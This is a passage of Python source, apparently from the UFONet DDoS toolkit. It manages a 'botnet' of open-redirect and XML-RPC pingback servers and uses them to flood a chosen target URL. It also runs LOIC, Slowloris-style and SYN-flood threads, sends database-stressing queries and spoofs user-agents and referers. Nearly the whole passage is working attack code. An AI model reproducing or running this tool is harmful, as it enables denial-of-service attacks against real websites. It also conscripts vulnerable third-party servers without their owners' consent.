  2875. droids = self.extract_droids()
  2876. ucavs = self.extract_ucavs()
  2877. try:
  2878. botnet = zombies + rpcs + aliens + droids + ucavs
  2879. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  2880. except:
  2881. return
  2882. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  2883. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  2884. print "\n" + '='*52
  2885. print "\n+ Total Botnet:", len(botnet)
  2886. print "\n" + '-'*25
  2887. print "\n+ Total Tested:", len(tested_zombies)
  2888. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  2889. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  2890. print '='*52 + '\n'
  2891. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  2892. if not self.options.forceyes:
  2893. update_reply = raw_input("Want to update your army? (Y/n)")
  2894. print '-'*25
  2895. else:
  2896. update_reply = "Y"
  2897. if update_reply == "n" or update_reply == "N":
  2898. print "\nBye!\n"
  2899. return #sys.exit(2)
  2900. else:
  2901. if num_disconnected_zombies > 0:
  2902. self.update_zombies(zombies_ready)
  2903. if num_failed_rpcs > 0:
  2904. self.update_rpcs(rpcs_ready)
  2905. if not self.options.upload:
  2906. print "\n[Info] - Botnet updated! ;-)\n"
  2907. else:
  2908. print "[Info] ALL tested 'zombies' are working... Exiting!\n"
  2909. def attacking(self, zombies):
  2910. # perform a DDoS Web attack against a target, using Open Redirect vectors (and other Web Abuse services) as 'zombies'
  2911. target = self.options.target
  2912. if self.options.forcessl:
  2913. if target.startswith("http://"):
  2914. target = target.replace("http://", "https://") # force SSL/TLS
  2915. if target.startswith("http://") or target.startswith("https://"):
  2916. print "Attacking:", target
  2917. print '='*55, "\n"
  2918. # send Open Redirect injection (multiple zombies > one target url)
  2919. reply = self.injection(target, zombies)
  2920. else:
  2921. print "\n[Error] - Target url not valid! -> It should starts with 'http(s)://'\n"
  2922. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn):
  2923. # perform some other extra attacks (such as DoS techniques)
  2924. time.sleep(2) # aiming (multi-threading flow time compensation)
  2925. if loic:
  2926. try:
  2927. self.options.loic = int(loic)
  2928. except:
  2929. self.options.loic = 100 # default LOIC requests
  2930. if self.options.loic < 1:
  2931. self.options.loic = 100
  2932. self.instance = LOIC() # instance main class for LOIC operations
  2933. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  2934. t.daemon = True
  2935. t.start()
  2936. self.update_loic_stats() # add new LOIC attack to mothership
  2937. if loris:
  2938. try:
  2939. self.options.loris = int(loris)
  2940. except:
  2941. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  2942. if self.options.loris < 1:
  2943. self.options.loris = 101
  2944. self.instance = LORIS() # instance main class for LORIS operations
  2945. t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  2946. t2.daemon = True
  2947. t2.start()
  2948. self.update_loris_stats() # add new LORIS attack to mothership
  2949. if ufosyn:
  2950. try:
  2951. self.options.ufosyn = int(ufosyn)
  2952. except:
  2953. self.options.ufosyn = 100 # default UFOSYN requests
  2954. if self.options.ufosyn < 1:
  2955. self.options.ufosyn = 100
  2956. self.instance = UFOSYN() # instance main class for UFOSYN operations
  2957. t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  2958. t3.daemon = True
  2959. t3.start()
  2960. self.update_ufosyn_stats() # add new UFOSYN attack to mothership
  2961. def stressing(self, target, zombie):
  2962. # perform a DDoS Web attack against a target, requesting records on target's database
  2963. db_input = self.options.dbstress
  2964. def random_key(length):
  2965. key = ''
  2966. for i in range(length):
  2967. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2968. return key
  2969. # generating random alphanumeric queries
  2970. if self.db_flash > 9: # set db flash start on: 10
  2971. length = 1024 # search a heavy random length query (db flash): 1024
  2972. self.db_flash = 0 # reset db flash counter
  2973. else:
  2974. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  2975. key = str(random_key(length))
  2976. if self.db_flash > 9:
  2977. print "\n[Info] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  2978. else:
  2979. print "\n[Info] Trying database request to: " + db_input + " | Query used: " + key
  2980. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2981. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2982. if not target.endswith('/'): # add "/" to end of target
  2983. target = target + "/"
  2984. url = zombie + target + db_input + key
  2985. req = urllib2.Request(url, None, headers)
  2986. try:
  2987. req_reply = urllib2.urlopen(req).read()
  2988. except urllib2.HTTPError, e:
  2989. if e.code == 401:
  2990. print '[Info] Not authorized'
  2991. elif e.code == 404:
  2992. print '[Info] Not found'
  2993. elif e.code == 503:
  2994. print '[Info] Service unavailable'
  2995. else:
  2996. print '[Info] Unknown error'
  2997. else:
  2998. print '[Info] DB query: Hit!'
  2999. def attackme(self, zombies):
  3000. # perform a DDoS Web attack against yourself
  3001. print "Starting local port to listening at: " + self.port + "\n"
  3002. print '='*21 + "\n"
  3003. self.doll=Doll(self)
  3004. self.doll.start()
  3005. while not self.doll._armed:
  3006. time.sleep(1)
  3007. # send Open Redirect injection (multiple zombies-multiple target urls)
  3008. target = ""
  3009. self.injection(target, zombies)
  3010. self.doll.shutdown()
  3011. self.doll.join()
  3012. self.herd.list_fails()
  3013. def injection(self, target, zombies, head_check = True):
  3014. options = self.options
  3015. head_check_here = False
  3016. head_check_external = False
  3017. print '='*22
  3018. if options.disablehead: # check at start is disabled (skipping!)
  3019. print "\n[Info] Skipping external check of target's status...\n"
  3020. head_check_here = True
  3021. head_check_external = True
  3022. else:
  3023. if head_check:
  3024. if not options.attackme:
  3025. print "Round: 'Is target up?'"
  3026. print '='*22
  3027. try: # send HEAD connection
  3028. self.head = True
  3029. reply = self.connect_zombie(target)
  3030. self.head = False
  3031. if reply:
  3032. print "[Info] From here: YES"
  3033. head_check_here = True
  3034. else:
  3035. print "[Error] From here: NO | Report: From your network your target looks DOWN!..."
  3036. head_check_here = False
  3037. except Exception:
  3038. print "[Error] From here: NO | Report: Cannot reach your target from your network..."
  3039. if self.options.verbose:
  3040. traceback.print_exc()
  3041. head_check_here = False
  3042. else: # check if local IP/PORT is listening on mothership
  3043. print "Round: 'Is NAT ready?'"
  3044. print '='*21
  3045. try:
  3046. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  3047. result = sock.connect_ex(('0.0.0.0',8080))
  3048. if result == 0 or result == 110: # black magic
  3049. print "[Info] Local port: YES | Report: Mothership accesible on -private- IP: http://0.0.0.0:8080"
  3050. head_check_here = True
  3051. else:
  3052. print "[Error] Local port: NO | Report: Something wrong on your port: 8080"
  3053. head_check_here = False
  3054. except Exception:
  3055. print "[Error] Local port: NO | Report: Something wrong checking open port ;("
  3056. if self.options.verbose:
  3057. traceback.print_exc()
  3058. head_check_here = False
  3059. print '-'*21
  3060. else:
  3061. head_check_here = True
  3062. # check target on third part service
  3063. self.external = True
  3064. if not options.attackme:
  3065. try:
  3066. external_reply = self.connect_zombie(target)
  3067. if "It's just you" in external_reply: # parse from external service: http://www.downforeveryoneorjustme.com
  3068. print "[Info] From exterior: YES"
  3069. head_check_external = True
  3070. else: # parse from external service: http://isup.me [29/08/2018 -> DEPRECATED!] | https://status.ws/
  3071. url = "https://status.ws/" + target
  3072. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3073. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3074. req = urllib2.Request(url, None, headers)
  3075. req_reply = urllib2.urlopen(req).read()
  3076. if 'may be just down for you' in req_reply: # parse external service for reply
  3077. print "[Info] From exterior: YES"
  3078. head_check_external = True
  3079. else:
  3080. print "[Error] From exterior: NO | Report: From external services your target looks DOWN!"
  3081. head_check_external = False
  3082. except Exception:
  3083. print "[Error] From exterior: NO | Report: Cannot reach external services from your network..."
  3084. head_check_external = False
  3085. else:
  3086. try: # check mothership from public ip / NAT using HEAD request
  3087. try:
  3088. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  3089. conn.request("HEAD", "/")
  3090. reply = conn.getresponse()
  3091. except Exception:
  3092. reply = None
  3093. if reply:
  3094. print "[Info] From exterior: YES | Report: Mothership accesible from the Internet ;-) ["+str(self.pub_ip)+":8080]"
  3095. head_check_external = True
  3096. else:
  3097. print "[Error] From exterior: NO | Report: Cannot access to the mothership using a public IP. Your NAT configuration is not working correctly:", target
  3098. head_check_external = False
  3099. head_check_here = False # stop attack if not public IP available
  3100. except Exception:
  3101. print "[Error] From exterior: NO | Report: Check failed from your connection..."
  3102. head_check_here = False # stop attack if not public IP available
  3103. if self.options.verbose:
  3104. traceback.print_exc()
  3105. head_check_external = False
  3106. print '-'*21 + "\n"
  3107. self.external = False
  3108. # ask for start the attack
  3109. if head_check_here == True or head_check_external == True:
  3110. if not self.options.forceyes:
  3111. if not options.attackme:
  3112. if not options.disablehead:
  3113. start_reply = raw_input("[Info] Your target looks ONLINE!. Want to start a DDoS attack? (y/N)\n")
  3114. else:
  3115. start_reply = raw_input("[Info] Want to start a DDoS attack directly? (y/N)\n")
  3116. else:
  3117. if not options.disablehead:
  3118. start_reply = raw_input("[Info] Your mothership looks READY!. Want to start a DDoS attack against yourself? (y/N)\n")
  3119. else:
  3120. start_reply = raw_input("[Info] Want to start a DDoS attack against yourself directly? (y/N)\n")
  3121. else:
  3122. start_reply = "Y"
  3123. if start_reply == "y" or start_reply == "Y":
  3124. if options.attackme:
  3125. total_rounds = "2" # default rounds for attackme
  3126. else:
  3127. total_rounds = options.rounds # extract number of rounds
  3128. if total_rounds <= "0":
  3129. total_rounds = "1"
  3130. self.herd.cleanup()
  3131. num_round = 1
  3132. num_hits = 0
  3133. num_zombie = 1
  3134. t = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn)) # multithreading flow for extra attacks
  3135. t.daemon = True
  3136. t.start()
  3137. # start to attack the target with each zombie
  3138. zombies = self.extract_zombies() # extract zombies from file
  3139. total_zombie = len(zombies)
  3140. self.herd=Herd(self)
  3141. for i in range(0, int(total_rounds)):
  3142. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  3143. print '='*42
  3144. print 'Starting round:', num_round, ' of ', total_rounds
  3145. print '='*42
  3146. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3147. send_aliens = self.send_aliens(target)
  3148. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3149. send_droids = self.send_droids(target)
  3150. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3151. send_rpcs = self.send_rpcs(target)
  3152. shuffle(zombies) # shuffle zombies order, each round :-)
  3153. self.herd.reset()
  3154. print "\n[Info] Sending your 'herd' of zombies...\n"
  3155. for zombie in zombies:
  3156. t = urlparse(zombie)
  3157. name_zombie = t.netloc
  3158. if not self.options.attackme:
  3159. print "[Info] Attacking from: " + name_zombie
  3160. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3161. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3162. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3163. self.options.target = target
  3164. print "Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  3165. print "Payload: " + target
  3166. print '='*55, "\n"
  3167. self.attack_mode = True
  3168. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3169. if not options.target.startswith('http'):
  3170. if options.forcessl:
  3171. options.target = "https://" + options.target
  3172. else:
  3173. options.target = "http://" + options.target
  3174. self.connect_zombies(zombie)
  3175. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3176. self.db_flash = self.db_flash + 1
  3177. stress = self.stressing(target, zombie)
  3178. time.sleep(1)
  3179. for zombie in self.herd.done:
  3180. if self.herd.connection_failed(zombie) == False:
  3181. num_hits = num_hits + 1
  3182. num_zombie = num_zombie + 1
  3183. if num_zombie > total_zombie:
  3184. num_zombie = 1
  3185. while self.herd.no_more_zombies() == False:
  3186. time.sleep(1)
  3187. num_round = num_round + 1
  3188. if not self.options.disableisup and not self.options.attackme: # perform an external 'is target up?' check
  3189. check_is_up = self.check_is_up(target)
  3190. if not self.options.attackme: # perform a broadband test on target
  3191. check_is_loading = self.check_is_loading(target)
  3192. print "-"*21
  3193. self.herd.dump_html()
  3194. attack_mode = False
  3195. print ("\x1b[2J\x1b[H") # black magic
  3196. if not self.options.attackme: # show herd results
  3197. self.herd.dump()
  3198. else: # show doll results
  3199. print '='*21
  3200. print "\n[Info] - Mothership transmission...\n"
  3201. num_real_zombies = len(self.doll.real_zombies)
  3202. print "Total of 'zombies' 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  3203. for z in self.doll.real_zombies: # show only alien verified zombies
  3204. for x in z:
  3205. print " - " + str(x)
  3206. self.herd.dump_html(True) # show (all) zombies statistics
  3207. if not self.options.attackme:
  3208. print "\n[Info] - Attack completed! ;-)\n"
  3209. self.update_mothership_stats() # update mothership stats
  3210. else:
  3211. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  3212. print "\n[Info] - Not any 100% vulnerable zombie found... Bye!\n"
  3213. if os.path.exists('mothership') == True:
  3214. os.remove('mothership') # remove mothership stream
  3215. if os.path.exists('alien') == True:
  3216. os.remove('alien') # remove random alien worker
  3217. sys.exit(2)
  3218. else:
  3219. print "\nBye!\n"
  3220. if os.path.exists('mothership') == True:
  3221. os.remove('mothership') # remove mothership stream
  3222. if os.path.exists('alien') == True:
  3223. os.remove('alien') # remove random alien worker
  3224. if not options.web:
  3225. sys.exit(2) # exit
  3226. else:
  3227. return
  3228. else:
  3229. if not options.attackme:
  3230. print "="*75
  3231. print "[Info] Your target ("+target+") looks OFFLINE!! ;-)"
  3232. print "="*75
  3233. else:
  3234. print "[Error] Your NAT/Network is not correctly configurated..."
  3235. print '-'*25
  3236. print "\nBye!\n"
  3237. if os.path.exists('mothership') == True:
  3238. os.remove('mothership') # remove mothership stream
  3239. if os.path.exists('alien') == True:
  3240. os.remove('alien') # remove random alien worker
  3241. return
  3242. if __name__ == "__main__":
  3243. app = UFONet()
  3244. options = app.create_options()
  3245. if options:
  3246. app.run()